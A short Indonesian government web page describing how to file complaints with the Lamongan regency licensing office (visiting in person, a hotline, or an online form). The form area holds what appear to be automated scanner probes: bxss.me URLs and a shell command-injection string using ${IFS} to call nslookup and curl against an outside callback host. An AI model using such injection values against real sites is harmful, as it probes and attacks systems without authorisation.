MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 821 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

http://bxss.me/t/fit.txt?.jpg

555

Http://bxss.me/t/fit.txt

|(nslookup${IFS}-q${IFS}cname${IFS}hitmnzjsfghgq30d83.bxss.me||curl${IFS}hitmnzjsfghgq30d83.bxss.me)

555